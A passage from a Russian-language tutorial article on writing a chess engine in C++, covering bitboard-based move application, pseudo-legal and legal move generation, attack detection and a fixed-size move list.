this->_hash.invert_b_s_castling();
}
}
void Position::_update_move_ctr() {
this->_move_ctr = this->_move_ctr + 0.5f;
this->_hash.invert_move();
}
void Position::_update_fifty_moves_ctr(bool break_event) {
if (break_event) this->_fifty_moves_ctr = 0;
else this->_fifty_moves_ctr = this->_fifty_moves_ctr + 0.5f;
}
```
Методы очень простые и используют все созданное в структуре Zobrist хеширования. Прокомментирую только 44 строчку, где break\_event - обозначает именно взятие или продвижение пешки.
Когда у нас есть такой богатый набор можно приступать к функции применения хода. Несмотря на то, что я всеми силами пытался разбить ее на мелкие куски, получилось она довольно большая, так что показывать ее буду по кускам.
Самая основа - переместить фигуру и удалить взятую, если таковая была. Выглядит это все так:
```
this->_remove_piece(move._from, move._attacker_type, move._attacker_side);
this->_add_piece(move._to, move._attacker_type, move._attacker_side);
if (move._defender_type != 255) this->_remove_piece(move._to, move._defender_type, move._defender_side);
```
После нам надо обработать все специальные флаги, объявленные в структуре Move:
```
switch (move._flag) {
case Move::Flag::Default:
break;
case Move::Flag::PawnLongMove:
this->_change_en_passant((move._from + move._to) / 2);
break;
case Move::Flag::EnPassantCapture:
if (move._attacker_side == Pieces::White) this->_remove_piece(move._to - 8, Pieces::Pawn, Pieces::Black);
else this->_remove_piece(move._to + 8, Pieces::Pawn, Pieces::White);
break;
case Move::Flag::WhiteLongCastling:
this->_remove_piece(0, Pieces::Rook, Pieces::White);
this->_add_piece(3, Pieces::Rook, Pieces::White);
this->_white_castling_happened = true;
break;
case Move::Flag::WhiteShortCastling:
this->_remove_piece(7, Pieces::Rook, Pieces::White);
this->_add_piece(5, Pieces::Rook, Pieces::White);
this->_white_castling_happened = true;
break;
case Move::Flag::BlackLongCastling:
this->_remove_piece(56, Pieces::Rook, Pieces::Black);
this->_add_piece(59, Pieces::Rook, Pieces::Black);
this->_black_castling_happened = true;
break;
case Move::Flag::BlackShortCastling:
this->_remove_piece(63, Pieces::Rook, Pieces::Black);
this->_add_piece(61, Pieces::Rook, Pieces::Black);
this->_black_castling_happened = true;
break;
case Move::Flag::PromoteToKnight:
this->_remove_piece(move._to, Pieces::Pawn, move._attacker_side);
this->_add_piece(move._to, Pieces::Knight, move._attacker_side);
break;
case Move::Flag::PromoteToBishop:
this->_remove_piece(move._to, Pieces::Pawn, move._attacker_side);
this->_add_piece(move._to, Pieces::Bishop, move._attacker_side);
break;
case Move::Flag::PromoteToRook:
this->_remove_piece(move._to, Pieces::Pawn, move._attacker_side);
this->_add_piece(move._to, Pieces::Rook, move._attacker_side);
break;
case Move::Flag::PromoteToQueen:
this->_remove_piece(move._to, Pieces::Pawn, move._attacker_side);
this->_add_piece(move._to, Pieces::Queen, move._attacker_side);
break;
}
```
Это все что касается изменений с фигурами, так что можно обновить второстепенные битборды о которых было рассказано в самом начале статьи:
```
this->_pieces.update_bitboards();
```
Если флаг перемещения не был длинным ходом пешки, то надо сбросить битое поле, так как взятие на проходе возможно только ответным ходом:
```
if (move._flag != Move::Flag::PawnLongMove) this->_change_en_passant(255);
```
Еще нужно сбросить права на рокировку, если перемещались короли или ладьи. Фишка в том, что нам неважно какая фигура перемещалась (как это странно и не звучит), а важно перемещалась ли фигура с места на котором должны стоять короли и ладьи. Если да, то сбрасываем рокировку. Это может быть не совсем очевидно, так что давайте рассмотрим два случая. Первый - когда на клетке где должна стоять фигура она действительно стоит. После ее движения рокировка будет, естественно, невозможна. Второй - когда на клетке где должна стоять фигура ее нет. После ее движения права на рокировку не должны меняться, но раз на месте ладьи или короля стоит другая фигура, то это значит, что рокировка уже невозможно и от ее сброса ничего не изменится. Вот код:
```
switch (move._from) {
case 0:
this->_remove_w_l_castling();
break;
case 4:
this->_remove_w_l_castling();
this->_remove_w_s_castling();
break;
case 7:
this->_remove_w_s_castling();
break;
case 56:
this->_remove_b_l_castling();
break;
case 60:
this->_remove_b_l_castling();
this->_remove_b_s_castling();
break;
case 63:
this->_remove_b_s_castling();
break;
}
```
После этого обновляем счетчик ходов:
```
this->_update_move_ctr();
```
Обновляем счетчик 50 ходов:
```
this->_update_fifty_moves_ctr(move._attacker_type == Pieces::Pawn or move._defender_type != 255);
```
Обновляем историю троекратного повторения позиции и, если произошел необратимый ход, очищаем (разумеется до добавления позиции):
```
if (move._attacker_type == Pieces::Pawn or move._defender_type != 255) this->_repetition_history.clear();
this->_repetition_history.add_position(this->_hash);
```
Разделение ходов на псевдолегальные и легальные
-----------------------------------------------
Перед генерацией ходов нужно узнать разницу между псевдолегальными и легальными ходами.
Псевдолегальные ходы - это ходы без учета шахов. То есть все фигуры подчиняются своим правилам, конь ходит буквой "Г", слон не может перепрыгивать через фигуры и так далее, но шахи не учитываются. Это значит, что король может пойти на клетку битую вражеской фигурой, а шах просто проигнорировать.
Что такое легальные ходы объяснять не нужно. За них говорит их название.
В итоге нам нужно генерировать именно легальные ходы, но проблема в том, что без псевдолегальных сгенерировать легальные не получится. Именно поэтому следующие три части будут посвящены генерации псевдолегальных ходов.
Генерация псевдолегальных ходов коней и королей
-----------------------------------------------
Сгенерировать все псевдолегальные ходы коней и королей можно очень быстро. Всего за одну примитивную операцию процессора умноженную на количество коней и королей. Но для такой скорости необходимо заранее вычислить маски их перемещений для каждой клетки.
Производительность при вычислении масок неважна, поэтому я вычислил их максимально долгим, но читаемым алгоритмом:
```
#include "../PositionRepresentation/Bitboard.hpp"
#pragma once
namespace KnightMasks {
static consteval uint8_t abs_subtract(uint8_t left, uint8_t right) {
if (left >= right) return left - right;
return right - left;
}
static consteval std::array calc\_masks() {
std::array masks{};
uint8\_t dx;
uint8\_t dy;
for (uint8\_t x0 = 0; x0 < 8; x0 = x0 + 1) {
for (uint8\_t y0 = 0; y0 < 8; y0 = y0 + 1) {
for (uint8\_t x1 = 0; x1 < 8; x1 = x1 + 1) {
for (uint8\_t y1 = 0; y1 < 8; y1 = y1 + 1) {
dx = KnightMasks::abs\_subtract(x0, x1);
dy = KnightMasks::abs\_subtract(y0, y1);
if ((dx == 2 and dy == 1) or (dx == 1 and dy == 2)) BitboardOperations::set\_1(masks[y0 \* 8 + x0], y1 \* 8 + x1);
}
}
}
}
return masks;
}
static constexpr std::array Masks = KnightMasks::calc\_masks();
}
```
```
#include "../PositionRepresentation/Bitboard.hpp"
#pragma once
namespace KingMasks {
static consteval uint8_t abs_subtract(uint8_t left, uint8_t right) {
if (left >= right) return left - right;
return right - left;
}
static consteval std::array calc\_masks() {
std::array masks{};
uint8\_t dx;
uint8\_t dy;
for (uint8\_t x0 = 0; x0 < 8; x0 = x0 + 1) {
for (uint8\_t y0 = 0; y0 < 8; y0 = y0 + 1) {
for (uint8\_t x1 = 0; x1 < 8; x1 = x1 + 1) {
for (uint8\_t y1 = 0; y1 < 8; y1 = y1 + 1) {
dx = KingMasks::abs\_subtract(x0, x1);
dy = KingMasks::abs\_subtract(y0, y1);
if (dx <= 1 and dy <= 1) BitboardOperations::set\_1(masks[y0 \* 8 + x0], y1 \* 8 + x1);
}
}
}
}
return masks;
}
static constexpr std::array Masks = KingMasks::calc\_masks();
}
```
Теперь при генерации псевдолегальных ходов коней и короля достаточно одной операции:
```
Bitboard PsLegalMoveMaskGen::generate_knight_mask(Pieces pieces, uint8_t p, uint8_t side, bool only_captures) {
if (only_captures) {
return KnightMasks::Masks[p] & pieces._side_bitboards[Pieces::inverse(side)];
}
return KnightMasks::Masks[p] & pieces._inversion_side_bitboards[side];
}
```
```
Bitboard PsLegalMoveMaskGen::generate_king_mask(Pieces pieces, uint8_t p, uint8_t side, bool only_captures) {
if (only_captures) {
return KingMasks::Masks[p] & pieces._side_bitboards[Pieces::inverse(side)];
}
return KingMasks::Masks[p] & pieces._inversion_side_bitboards[side];
}
```
Обратите внимание на флаг only\_captures. Если он включен, то будут сгенерированы только взятия. Может быть не сразу понятно зачем это надо, но оно нам пригодится, причем не один раз.
Генерация псевдолегальных ходов скользящих фигур
------------------------------------------------
Сгенерировать похожим образом псевдолегальных ходы слонов, ферзей и ладей, к сожалению, нельзя, так как они подчиняются другим правилами. Существует, как минимум, два способа это сделать быстро, а именно - вращаемые битборды и магические. Идея последних заключается в том, чтобы закешировать результаты для всех расстановок блокирующих фигур.
К сожалению, меня не хватило на один из этих оптимизированных подходов, поэтому пришлось делать довольно медленным алгоритмом.
Сначала генерируются маски перемещений во всех направлениях со всех клеток. Выглядит этот вот так:
```
#include "../PositionRepresentation/Bitboard.hpp"
#pragma once
namespace SlidersMasks {
struct Direction {
static constexpr int8_t North = 0;
static constexpr int8_t South = 1;
static constexpr int8_t West = 2;
static constexpr int8_t East = 3;
static constexpr int8_t NorthWest = 4;
static constexpr int8_t NorthEast = 5;
static constexpr int8_t SouthWest = 6;
static constexpr int8_t SouthEast = 7;
};
static consteval Bitboard calc_mask(uint8_t p, int8_t direction) {
Bitboard mask = 0;
int8_t x = p % 8;
int8_t y = p / 8;
for (; ;) {
switch (direction) {
case SlidersMasks::Direction::North: y = y + 1; break;
case SlidersMasks::Direction::South: y = y - 1; break;
case SlidersMasks::Direction::West: x = x - 1; break;
case SlidersMasks::Direction::East: x = x + 1; break;
case SlidersMasks::Direction::NorthWest: y = y + 1; x = x - 1; break;
case SlidersMasks::Direction::NorthEast: y = y + 1; x = x + 1; break;
case SlidersMasks::Direction::SouthWest: y = y - 1; x = x - 1; break;
case SlidersMasks::Direction::SouthEast: y = y - 1; x = x + 1; break;
}
if (x > 7 or x < 0 or y > 7 or y < 0) break;
BitboardOperations::set_1(mask, y * 8 + x);
}
return mask;
}
static consteval std::array, 64> calc\_masks() {
std::array, 64> masks{};
for (uint8\_t i = 0; i < 64; i = i + 1) {
for (uint8\_t j = 0; j < 8; j = j + 1) masks[i][j] = SlidersMasks::calc\_mask(i, j);
}
return masks;
}
static constexpr std::array, 64> Masks = SlidersMasks::calc\_masks();
};
```
Опять же напомню, что это вычисляется на этапе компиляции, так что читаемость гораздо важнее производительности.
Теперь нам надо написать функцию, генерирующую луч в заданном направлении из заданной точки с учетом блокирующих фигур.
Для начала давайте получим эти блокирующие фигуры. Нам нужно пересечение всех фигур с данным нам лучом.
```
Bitboard blockers = SlidersMasks::Masks[p][direction] & pieces._all;
```
После того как мы получили блокирующие фигуры мы обязаны проверить пусты ли они (очень скоро узнаете почему). И если пусты, то со включенным флагом only\_captures возвращаем 0, а с выключенным - весь луч:
```
if (blockers == 0) {
if (only_captures) return 0;
return SlidersMasks::Masks[p][direction];
}
```
Далее нам нужно найти первую клетку на которой стоит блокирующая фигура. Сделать это можно при помощи написанными нами функциями поиска первого бита или поиска последнего бита. Изначально может показаться, что так как мы ищем первый бит, то нам нужна функция поиска первого бита, но это не так. Нам нужен будет как и поиск первого бита, так и поиск последнего, зависит от направления луча. Итак, находим первую блокирующую фигуру:
```
uint8_t blocking_square;
if (bsr) blocking_square = BitboardOperations::bsr(blockers);
else blocking_square = BitboardOperations::bsf(blockers);
```
Теперь заводим итоговый битборд:
```
Bitboard moves;
```
И со включенным флагом только взятий заполняем его нулями, когда как с выключенным - результатом выполнения XOR'a луча, выпущенного из данной точки с лучом, выпущенным из первой блокирующей фигуры:
```
if (only_captures) moves = 0;
else moves = SlidersMasks::Masks[p][direction] ^ SlidersMasks::Masks[blocking_square][direction];
```
Далее надо определить какого цвета первая блокирующая фигура. Если цвета, что и та которой генерируются перемещений, то ее не включаем. Если другого - включаем:
```
if (BitboardOperations::get_bit(pieces._side_bitboards[side], blocking_square)) BitboardOperations::set_0(moves, blocking_square);
else BitboardOperations::set_1(moves, blocking_square);
```
Далее просто возвращаем результат:
```
return moves;
```
Используя эту замечательную функцию можно легко сгенерировать все перемещения слона:
```
Bitboard PsLegalMoveMaskGen::generate_bishop_mask(Pieces pieces, uint8_t p, uint8_t side, bool only_captures) {
Bitboard nw = PsLegalMoveMaskGen::_calc_ray(pieces, p, side, only_captures, SlidersMasks::Direction::NorthWest, false);
Bitboard ne = PsLegalMoveMaskGen::_calc_ray(pieces, p, side, only_captures, SlidersMasks::Direction::NorthEast, false);
Bitboard sw = PsLegalMoveMaskGen::_calc_ray(pieces, p, side, only_captures, SlidersMasks::Direction::SouthWest, true);
Bitboard se = PsLegalMoveMaskGen::_calc_ray(pieces, p, side, only_captures, SlidersMasks::Direction::SouthEast, true);
return nw | ne | sw | se;
}
```
Ладьи:
```
Bitboard PsLegalMoveMaskGen::generate_rook_mask(Pieces pieces, uint8_t p, uint8_t side, bool only_captures) {
Bitboard n = PsLegalMoveMaskGen::_calc_ray(pieces, p, side, only_captures, SlidersMasks::Direction::North, false);
Bitboard s = PsLegalMoveMaskGen::_calc_ray(pieces, p, side, only_captures, SlidersMasks::Direction::South, true);
Bitboard w = PsLegalMoveMaskGen::_calc_ray(pieces, p, side, only_captures, SlidersMasks::Direction::West, true);
Bitboard e = PsLegalMoveMaskGen::_calc_ray(pieces, p, side, only_captures, SlidersMasks::Direction::East, false);
return n | s | w | e;
}
```
И ферзя, на основе предыдущих двух фигур:
```
Bitboard PsLegalMoveMaskGen::generate_queen_mask(Pieces pieces, uint8_t p, uint8_t side, bool only_captures) {
Bitboard bishop_mask = PsLegalMoveMaskGen::generate_bishop_mask(pieces, p, side, only_captures);
Bitboard rook_mask = PsLegalMoveMaskGen::generate_rook_mask(pieces, p, side, only_captures);
return bishop_mask | rook_mask;
}
```
Такой подход медленнее вращаемых, а уж тем более магических битбордов, но все же быстрее, чем при простом представлении доски.
Генерация псевдолегальных ходов пешек
-------------------------------------
Уже было рассказано как генерировать взятия всех фигур, но еще ни слова не было сказано про пешки. А все из-за того, что пешки кардинально отличаются от фигур.
Во-первых, их очень много. Искать все пешки по доске, а потом использовать маскирование с каждой из них было бы, вероятно, даже более затратно, чем генерация ходов скользящих фигур.
Во-вторых, у них есть сложные правила вроде того, что если пешка не двигалась и следующие две клетки свободны, то она может перепрыгнуть через клетку.
В-третьих, у них перемещения не совпадают со взятиями, чего нельзя сказать ни про одну фигуру.
Из-за этих факторов перемещения пешек лучше генерировать совершенно другим способом. А именно - генерировать их всех сразу. Сейчас поясню что я имею ввиду.
У нас будет четыре функции. Одна генерирует все короткие ходы пешек, другая - все длинные, третья - все взятия налево, четвертая - все взятия направо. Но почему мы генерируем их отдельно? Почему нельзя одновременно, например, сгенерировать и взятия налево, и взятия направо? На самом деле я думаю, что можно. Просто я выбрал немного другой путь. Не нужно забывать, что кроме того, чтобы сгенерировать все маски перемещений нам надо сгенерировать ходы (мы писали структуру хода, надеюсь ее еще кто-то помнит). И эти битборды мы, в будущем, будем перебирать для генерации ходов. Проблема в том, что если мы сгенерируем в один битборд и взятия налево, и взятия направо, то мы не будем знать, смотря на битборд, какая из пешек туда может пойти. А если мы взятия генерируем отдельно, то по битборду можно понять, что попасть в такую-то клетку может пешка, находящаяся, например, на 9 индексах ниже.
Итак, приступим. Для начала научимся генерировать обычные ходы пешек. То есть на клетку вперед. Нам надо сдвинуть их на 1 по оси y (что эквивалентно сдвигу на 8 в сторону), после чего сделать объединение с пустыми клетками. Для черных пешек направление сдвига другое. Реализуется очень просто:
```
Bitboard PsLegalMoveMaskGen::generate_pawn_default_mask(Pieces pieces, uint8_t side) {
if (side == Pieces::White) {
return (pieces._piece_bitboards[Pieces::White][Pieces::Pawn] << 8) & pieces._empty;
}
return (pieces._piece_bitboards[Pieces::Black][Pieces::Pawn] >> 8) & pieces._empty;
}
```
Теперь сгенерируем длинные ходы. Я сам долго не мог придумать как это сделать, пока не нашел очень простое решение: мы берем результат предыдущей функции, оставляем только те пешки, которые стояли на начальной строке, после чего, по сути, повторяем операцию. Очень просто:
```
Bitboard PsLegalMoveMaskGen::generate_pawn_long_mask(Pieces pieces, uint8_t side) {
Bitboard default_mask = PsLegalMoveMaskGen::generate_pawn_default_mask(pieces, side);
if (side == Pieces::White) {
return ((default_mask & BitboardRows::Rows[2]) << 8) & pieces._empty;
}
return ((default_mask & BitboardRows::Rows[5]) >> 8) & pieces._empty;
}
```
Теперь взятия. Но перед тем как их генерировать надо немного подумать наперед. Нам не раз надо будет проверять, например, бьет ли пешка пустую клетку (самый простой пример - проверка битового поля при рокировке). Для этого мы должны добавить в нашу функцию генерации взятий флаг, который при включении будет генерировать не только псевдолегальные взятия, но и взятия всего, включая свои фигуры и пустые клетки. Этот флаг я назвал include\_all\_possible\_captures, не забывайте о нем.
Когда о флаге поговорили, приступим к самой генерации. Нам надо сдвинуть битборд на 1 по оси y и 1 по оси x (эквивалентно сдвигу на 7 или 9 в сторону). Только вот если пешка, например, стоит с левого краю, то после сдвига налево у нее появятся взятия по правому краю, что ошибка. Поэтому после сдвига мы не только выполняем маскирование с фигурами противника (разумеется, если флаг include\_all\_possible\_captures не включен), но и с битбордом, обратному крайнему столбцу (такие битборды мы генерировали в самом начале статьи).
Теперь мы полностью готовы для написания генератора взятий:
```
Bitboard PsLegalMoveMaskGen::generate_pawn_left_captures_mask(Pieces pieces, uint8_t side, bool include_all_possible_captures) {
if (side == Pieces::White) {
Bitboard mask = (pieces._piece_bitboards[Pieces::White][Pieces::Pawn] << 7) & BitboardColumns::InversionColumns[7];
if (!include_all_possible_captures) mask = mask & pieces._side_bitboards[Pieces::Black];
return mask;
}
Bitboard mask = (pieces._piece_bitboards[Pieces::Black][Pieces::Pawn] >> 9) & BitboardColumns::InversionColumns[7];
if (!include_all_possible_captures) mask = mask & pieces._side_bitboards[Pieces::White];
return mask;
}
```
```
Bitboard PsLegalMoveMaskGen::generate_pawn_right_captures_mask(Pieces pieces, uint8_t side, bool include_all_possible_captures) {
if (side == Pieces::White) {
Bitboard mask = (pieces._piece_bitboards[Pieces::White][Pieces::Pawn] << 9) & BitboardColumns::InversionColumns[0];
if (!include_all_possible_captures) mask = mask & pieces._side_bitboards[Pieces::Black];
return mask;
}
Bitboard mask = (pieces._piece_bitboards[Pieces::Black][Pieces::Pawn] >> 7) & BitboardColumns::InversionColumns[0];
if (!include_all_possible_captures) mask = mask & pieces._side_bitboards[Pieces::White];
return mask;
}
```
Проверка находится ли клетка под ударом
---------------------------------------
Нам часто придется проверять находится ли клетка под ударом (например - детектор шахов).
Проверить бьют ли клетку пешки противника можно очень легко из-за особенности генерации ходов пешек:
```
Bitboard opposite_pawns_left_captures = PsLegalMoveMaskGen::generate_pawn_left_captures_mask(pieces, Pieces::inverse(side), true);
Bitboard opposite_pawns_right_captures = PsLegalMoveMaskGen::generate_pawn_right_captures_mask(pieces, Pieces::inverse(side), true);
Bitboard opposite_pawns_captures = opposite_pawns_left_captures | opposite_pawns_right_captures;
if (BitboardOperations::get_bit(opposite_pawns_captures, p)) return true;
```
Но что делать с фигурами? Самый наивный вариант - найти все фигуры противника, сгенерировать взятия найденных фигур и поискать в полученных битбордах интересующую нас клетку. Но это плохой вариант, так как можно сделать гораздо быстрее, причем как и по времени выполнения программы, так и по времени написания кода.
Все ходы в шахматах (за исключением ходов пешек, с которыми мы уже разобрались и рокировках о которых речи пока не было) обладают очень интересным свойством, которое очевидно, но мало кто замечает.
Если фигура походила с клетки A на клетку B, то следующим ходом (при отсутствии противника) она всегда может вернуться обратно на клетку А.
Из этого следует, что если фигура, находясь на клетки А, бьет клетку В, то точно такая же фигура, находясь на клетке B, будет бить клетку А.
А из этого следует, что поставив на клетку, которую мы хотим проверить, слона он будет бить вражеского слона тогда и только тогда, когда вражеский слон бьет эту клетку.
Аналогичная логика работает со всеми фигурами. Постарайтесь понять это, а чтобы было легче - снизу есть картинка, где черному королю шах (на картинке мат, но мат в каком-то смысле частный случай шаха).
Используя это знание, можно довольно легко проверить атакуется ли какая-то клетка фигурами:
```
if (PsLegalMoveMaskGen::generate_knight_mask(pieces, p, side, true) & pieces._piece_bitboards[Pieces::inverse(side)][Pieces::Knight]) return true;
if (PsLegalMoveMaskGen::generate_bishop_mask(pieces, p, side, true) & pieces._piece_bitboards[Pieces::inverse(side)][Pieces::Bishop]) return true;
if (PsLegalMoveMaskGen::generate_rook_mask(pieces, p, side, true) & pieces._piece_bitboards[Pieces::inverse(side)][Pieces::Rook]) return true;
if (PsLegalMoveMaskGen::generate_queen_mask(pieces, p, side, true) & pieces._piece_bitboards[Pieces::inverse(side)][Pieces::Queen]) return true;
if (PsLegalMoveMaskGen::generate_king_mask(pieces, p, side, true) & pieces._piece_bitboards[Pieces::inverse(side)][Pieces::King]) return true;
```
И если ни пешки, ни фигура не прервали функцию, вернув истину, то надо вернуть ложь:
```
return false;
```
Тип для хранения нескольких ходов
---------------------------------
Мы уже в шаге от генератора легальных ходов, где надо будет отсеять псевдолегальные и оставить только легальные, после чего их засунуть в тип, содержащий ряд ходов.
Но какой это будет тип? Самое банальное - вектор, но вектор под капотом делает много лишних действий. Менее банальное - список, но он тоже не особо подходит, так как его долго обходить (для обхода нужна прыгать по указателям). В связи с этим надо создать "собственную структуру" на основе статического массива. Это решение показало себя как наиболее производительное.
Данная структура будет содержать в себе большой статический массив и переменную, показывающую размер массива. При добавлении элемента ход будет добавляться в последнюю не занятую ячейку, после чего размер массива будет увеличиваться на 1.
Но как выбрать размер этого большого статического массива? На том же chessprogrammingwiki я нашел, что позиция с наибольшим количеством легальных ходов содержит 218 ходов. Саму позицию я, к сожалению, не нашел (хотя и не очень искал), но все-таки предлагаю поверить chessprogrammingwiki и создать массив размером в 218 ходов.
Вот код этого класса. Он очень простой:
```
#include
#include "../PositionRepresentation/Move.hpp"
#include "../PositionRepresentation/Pieces.hpp"
#pragma once
class MoveList {
public:
MoveList();
Move &operator[](uint8\_t index);
Move operator[](uint8\_t index) const;
void push\_back(Move move);
[[nodiscard]] uint8\_t size() const;
private:
std::array \_moves{};
uint8\_t \_size;
};
```
```
#include "MoveList.hpp"
MoveList::MoveList() {
this->_size = 0;
}
Move &MoveList::operator[](uint8_t index) {
return this->_moves[index];
}
Move MoveList::operator[](uint8_t index) const {
return this->_moves[index];
}
void MoveList::push_back(Move move) {
this->_moves[this->_size] = move;
this->_size = this->_size + 1;
}
uint8_t MoveList::size() const {
return this->_size;
}
```
Генерация легальных ходов
-------------------------
У нас есть генератор псевдолегальных ходов, алгоритм, проверяющий находится ли клетка под боем, тип для хранения ходов. Используя этот арсенал, можно сгенерировать все легальные ходы.
Существует два способа это сделать. Первый - делаем ход какой-то облегченной функцией, проверяем есть ли шах, если нет - ход легален. Второй основан на сложных проверках на двойные шахи, определения типа атакующей фигуры, определение связанных фигур и т.д. К сожалению, мне не хватило силы и мужества написать этот восхитительный способ, так что придется пользоваться первым.
Для начала нам надо научиться проверять является ли ход легальным. Простым способом это делается довольно просто, хоть и медленно:
```
bool LegalMoveGen::_is_legal(Pieces pieces, Move move, bool en_passant_capture) {
BitboardOperations::set_0(pieces._piece_bitboards[move._attacker_side][move._attacker_type], move._from);
BitboardOperations::set_1(pieces._piece_bitboards[move._attacker_side][move._attacker_type], move._to);
if (move._defender_type != 255) BitboardOperations::set_0(pieces._piece_bitboards[move._defender_side][move._defender_type], move._to);
if (en_passant_capture) {
if (move._attacker_side == Pieces::White) BitboardOperations::set_0(pieces._piece_bitboards[Pieces::Black][Pieces::Pawn], move._to - 8);
BitboardOperations::set_0(pieces._piece_bitboards[Pieces::White][Pieces::Pawn], move._to + 8);
}
pieces.update_bitboards();
if (PsLegalMoveMaskGen::in_danger(pieces, BitboardOperations::bsf(pieces._piece_bitboards[move._attacker_side][Pieces::King]), move._attacker_side)) return false;
return true;
}
```
Обращаю внимание на то, что обрабатываем мы только флаг взятия на проходе, так как флаги продвижения на легальность ходов не влияют, а рокировка из-за своей необычности будет реализована иначе.
После того как эта функция готова можно начать генерировать ходы. Начнем с пешек, а именно с их взятий.
Сначала генерируем маски:
```
Bitboard pawn_left_captures_mask = PsLegalMoveMaskGen::generate_pawn_left_captures_mask(position._pieces, side, false);
Bitboard pawn_right_captures_mask = PsLegalMoveMaskGen::generate_pawn_right_captures_mask(position._pieces, side, false);
```
После при помощи такой вот функции перегоняем их в список ходов:
```
void LegalMoveGen::_pawn_mask_to_moves(Pieces pieces, Bitboard mask, uint8_t attacker_side, int8_t attacker_index, bool look_for_defender, uint8_t flag, MoveList &moves) {
uint8_t defender_p;
uint8_t defender_type = 255;
Move move;
while (mask) {
defender_p = BitboardOperations::bsf(mask);
BitboardOperations::set_0(mask, defender_p);
if (look_for_defender) {
defender_type = 255;
for (uint8_t i = 0; i < 6; i = i + 1) {
if (BitboardOperations::get_bit(pieces._piece_bitboards[Pieces::inverse(attacker_side)][i], defender_p)) {
defender_type = i;
break;
}
}
}
move = {(uint8_t)(defender_p + attacker_index), defender_p, Pieces::Pawn, attacker_side, defender_type, Pieces::inverse(attacker_side), flag};
if (LegalMoveGen::_is_legal(pieces, move, false)) {
if (defender_p < 8 or defender_p > 55) {
moves.push_back({(uint8_t)(defender_p + attacker_index), defender_p, 0, attacker_side, defender_type, Pieces::inverse(attacker_side), Move::Flag::PromoteToKnight});
moves.push_back({(uint8_t)(defender_p + attacker_index), defender_p, 0, attacker_side, defender_type, Pieces::inverse(attacker_side), Move::Flag::PromoteToBishop});
moves.push_back({(uint8_t)(defender_p + attacker_index), defender_p, 0, attacker_side, defender_type, Pieces::inverse(attacker_side), Move::Flag::PromoteToRook});
moves.push_back({(uint8_t)(defender_p + attacker_index), defender_p, 0, attacker_side, defender_type, Pieces::inverse(attacker_side), Move::Flag::PromoteToQueen});
}
else moves.push_back(move);
}
}
}
```
Эта функция находит бит в маске (этот бит обозначает куда может пойти пешка), после, если включен флаг поиска защитника, находит защитника на этой клетке, далее формирует ход при помощи специального индекса по которому можно вычислить координаты атакующий пешки, и если получившийся ход легален, то он добавляется в список. Причем если клетка назначения стоит на последней строке, то генерируются ходы-продвижения.
При помощи этой функции также можно сгенерировать обычные ходы пешек, используя другую маску.
Но что делать с фигурами? Для них надо написать похожую функцию перебирания битбордов. Она гораздо легче:
```
void LegalMoveGen::_piece_mask_to_moves(Pieces pieces, Bitboard mask, uint8_t attacker_p, uint8_t attacker_type, uint8_t attacker_side, MoveList &moves) {
uint8_t defender_p;
uint8_t defender_type;
Move move;
while (mask) {
defender_p = BitboardOperations::bsf(mask);
BitboardOperations::set_0(mask, defender_p);
defender_type = 255;
for (uint8_t i = 0; i < 6; i = i + 1) {
if (BitboardOperations::get_bit(pieces._piece_bitboards[Pieces::inverse(attacker_side)][i], defender_p)) {
defender_type = i;
break;
}
}
move = {attacker_p, defender_p, attacker_type, attacker_side, defender_type, Pieces::inverse(attacker_side)};
if (LegalMoveGen::_is_legal(pieces, move, false)) moves.push_back(move);
}
}
```
Эта функция берет переданный битборд, находит там бит (этот бит отвечает куда может пойти фигура), находит защитника, стоящего на индексе этого бита, после чего формирует ход при помощи переданных координат атакующей фигуры и, если он легален, добавляет его в список.
Вот пример генерации всех ходов коней при помощи этой функции:
```
Bitboard all_knights = position._pieces._piece_bitboards[side][Pieces::Knight];
uint8_t attacker_p;
Bitboard mask;
while (all_knights) {
attacker_p = BitboardOperations::bsf(all_knights);
BitboardOperations::set_0(all_knights, attacker_p);
mask = PsLegalMoveMaskGen::generate_knight_mask(position._pieces, attacker_p, side, only_captures);
LegalMoveGen::_piece_mask_to_moves(position._pieces, mask, attacker_p, Pieces::Knight, side, moves);
}
```
Также нужно сгенерировать все рокировки и взятия на проходе:
```
void LegalMoveGen::_add_en_passant_captures(Pieces pieces, uint8_t side, uint8_t en_passant, MoveList &moves) {
if (en_passant == 255) return;
Move move;
if (side == Pieces::White) {
if (en_passant % 8 != 7 and BitboardOperations::get_bit(pieces._piece_bitboards[Pieces::White][Pieces::Pawn], en_passant - 7)) {
move = {(uint8_t)(en_passant - 7), en_passant, Pieces::Pawn, Pieces::White, 255, 255, Move::Flag::EnPassantCapture};
if (LegalMoveGen::_is_legal(pieces, move, true)) moves.push_back(move);
}
if (en_passant % 8 != 0 and BitboardOperations::get_bit(pieces._piece_bitboards[Pieces::White][Pieces::Pawn], en_passant - 9)) {
move = {(uint8_t)(en_passant - 9), en_passant, Pieces::Pawn, Pieces::White, 255, 255, Move::Flag::EnPassantCapture};
if (LegalMoveGen::_is_legal(pieces, move, true)) moves.push_back(move);
}
}
else {
if (en_passant % 8 != 0 and BitboardOperations::get_bit(pieces._piece_bitboards[Pieces::Black][Pieces::Pawn], en_passant + 7)) {
move = {(uint8_t)(en_passant + 7), en_passant, Pieces::Pawn, Pieces::Black, 255, 255, Move::Flag::EnPassantCapture};
if (LegalMoveGen::_is_legal(pieces, move, true)) moves.push_back(move);
}
if (en_passant % 8 != 7 and BitboardOperations::get_bit(pieces._piece_bitboards[Pieces::Black][Pieces::Pawn], en_passant + 9)) {
move = {(uint8_t)(en_passant + 9), en_passant, Pieces::Pawn, Pieces::Black, 255, 255, Move::Flag::EnPassantCapture};
if (LegalMoveGen::_is_legal(pieces, move, true)) moves.push_back(move);
}
}
}
void LegalMoveGen::_add_castling_moves(Pieces pieces, uint8_t side, bool long_castling, bool short_castling, MoveList &moves) {
uint8_t index;
uint8_t long_castling_flag;
uint8_t short_castling_flag;
if (side == Pieces::White) {
index = 0;
long_castling_flag = Move::Flag::WhiteLongCastling;
short_castling_flag = Move::Flag::WhiteShortCastling;
}
else {
index = 56;
long_castling_flag = Move::Flag::BlackLongCastling;
short_castling_flag = Move::Flag::BlackShortCastling;
}
if (long_castling and BitboardOperations::get_bit(pieces._piece_bitboards[side][Pieces::Rook], 0 + index) and BitboardOperations::get_bit(pieces._empty, 1 + index) and BitboardOperations::get_bit(pieces._empty, 2 + index) and BitboardOperations::get_bit(pieces._empty, 3 + index)) {
